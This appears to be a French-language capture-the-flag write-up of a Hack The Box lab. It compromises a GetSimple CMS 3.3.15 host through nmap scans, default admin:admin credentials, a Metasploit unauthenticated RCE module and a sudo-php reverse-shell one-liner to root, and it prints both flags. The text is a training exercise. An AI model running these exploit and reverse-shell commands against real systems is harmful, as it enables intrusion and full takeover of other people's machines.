Knowledge Check

Scans :

[Jun 16, 2025 - 21:58:32 (CEST)] exegol-htb eval # nmap -sV --open -oA eval_scan aca.htb        
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-16 21:58 CEST
Nmap scan report for aca.htb (10.129.132.57)
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.75 seconds

[Jun 16, 2025 - 21:59:26 (CEST)] exegol-htb eval # nmap -sV --script=http-enum -oA nibbles_nmap_http_enum aca.htb                 
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-16 21:59 CEST
Nmap scan report for aca.htb (10.129.132.57)
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.06 seconds

[Jun 16, 2025 - 21:58:59 (CEST)] exegol-htb eval # nmap -sC -p 22,80 -oA eval_script aca.htb   
Starting Nmap 7.93 ( https://nmap.org ) at 2025-06-16 21:59 CEST
Nmap scan report for aca.htb (10.129.132.57)
Host is up (0.027s latency).

PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   3072 4c73a025f5fe817b822b3649a54dc85e (RSA)
|   256 e1c056d052042f3cac9ae7b1792bbb13 (ECDSA)
|_  256 523147140dc38e1573e3c424a23a1277 (ED25519)
80/tcp open  http
| http-robots.txt: 1 disallowed entry 
|_/admin/
|_http-title: Welcome to GetSimple! - gettingstarted

Nmap done: 1 IP address (1 host up) scanned in 2.33 seconds

Les scans nous remontent la présence du répertoire /admin qui nous dirige vers une page de connexion :

Nous essayons donc de nous connecter en tant que admin:admin, ce qui abouti bien :

Nous observons en bas du site la version du site WEB :

GetSimple CMS – Version 3.3.15 

🛡️Metasploit :

Nous lancons Metasploit et analysons les exploits disponibles concernant GetSimple CMS :

[Jun 16, 2025 - 22:28:18 (CEST)] exegol-htb eval # msfconsole
msf6 > search exploit GetSimpleCMS

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   0  exploit/unix/webapp/get_simple_cms_upload_exec    2014-01-04       excellent  Yes    GetSimpleCMS PHP File Upload Vulnerability
   1  exploit/multi/http/getsimplecms_unauth_code_exec  2019-04-28       excellent  Yes    GetSimpleCMS Unauthenticated RCE


Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/http/getsimplecms_unauth_code_exec

Une fois que nous avons trouvé une possible exploitation concerannt GetSimple CMS, nous utilisons l'exploit associé

msf6 > use exploit/multi/http/getsimplecms_unauth_code_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

Ici, Metasploit nous signale qu'aucun payload n'a été choisi, donc meterpreter est configuré par défaut, nous changeons donc ceci afin d'avoir un autre shell (question de préférences) :

msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_aws_instance_connect  .                normal  No     Unix SSH Shell, Bind Instance Connect (via AWS API)
   1   payload/generic/custom                      .                normal  No     Custom Payload
   2   payload/generic/shell_bind_aws_ssm          .                normal  No     Command Shell, Bind SSM (via AWS API)
   3   payload/generic/shell_bind_tcp              .                normal  No     Generic Command Shell, Bind TCP Inline
   4   payload/generic/shell_reverse_tcp           .                normal  No     Generic Command Shell, Reverse TCP Inline
   [...]

msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp

La payload maintenant selectionné, nous configurons notre exploit avant de l'executer :

msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > set rhosts 10.129.132.57
rhosts => 10.129.132.57

msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > set lhost 10.10.14.52
lhost => 10.10.14.52

msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > exploit
[*] Started reverse TCP handler on 10.10.14.52:4444 
[*] Command shell session 1 opened (10.10.14.52:4444 -> 10.129.132.57:39078) at 2025-06-16 23:10:52 +0200

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Les options de l'exploit nous confirme que la version actuelle de GetSimpleCMS est vulnérable.

Exploit target:

   Id  Name
   --  ----
   0   GetSimpleCMS 3.3.15 and before

La connexion étant maintenant effective, nous configurons un shell interactif :

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@gettingstarted:/var/www/html/theme$ cd /home
www-data@gettingstarted:/home$ ls
ls
mrb3n

www-data@gettingstarted:/home$ cd mrb3n
www-data@gettingstarted:/home/mrb3n$ ls
ls
user.txt

www-data@gettingstarted:/home/mrb3n$ cat user.txt
7002d65b149b0a4d19132a66feed21d8

Spawn the target, gain a foothold and submit the contents of the user.txt flag.

Le flag de user.txt est :

7002d65b149b0a4d19132a66feed21d8

Nous allons maintenant chercher à devenir root de la machine :

Pour se faire on réaliser dans un premier temps la machine sudo -l pour observer les éléments sur lesquels nous avons des droits :

www-data@gettingstarted:/home/mrb3n$ sudo -l
sudo -l
Matching Defaults entries for www-data on gettingstarted:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on gettingstarted:
    (ALL : ALL) NOPASSWD: /usr/bin/php

Nous observons alors que nous pouvons executer /usr/bin/php en tant qu'administrateur, dans avoir besoin de mot de passe.

Nous exploitons alors ceci à l'aide du site revshells :

Nous configurons maintenant notre port d'écoute à l'aide de netcat :

nc -lvnp 4444

Après avoir sélectionné le shell souhaite et avoir renseigné l'adresse et le port d'écoute de notre machine attaquante sur revshells, et avoir mis notre machine d'attaque en écoute, nous executons le shell généré sur notre cible :

www-data@gettingstarted:/home/mrb3n$ sudo php -r '$sock=fsockopen("10.10.14.52",4444);shell_exec("sh <&3 >&3 2>&3");'

Une fois la commande lancée, nous avons bien un accès distant en tant que root à notre cible. Nous pouvons ainsi récupérer le contenu du fichier root.txt :

$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.129.164.
Ncat: Connection from 10.129.129.164:50376.
id
uid=0(root) gid=0(root) groups=0(root)

# Mise en place d'un shell interactif
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@gettingstarted:/home/mrb3n# cd /root
root@gettingstarted:~# ls 
root.txt  snap

root@gettingstarted:~# cat root.txt
f1fba6e9f71efb2630e6e34da6387842

After obtaining a foothold on the target, escalate privileges to root and submit the contents of the root.txt flag.

Nous obtenons ainsi le flag :

f1fba6e9f71efb2630e6e34da6387842

Mis à jour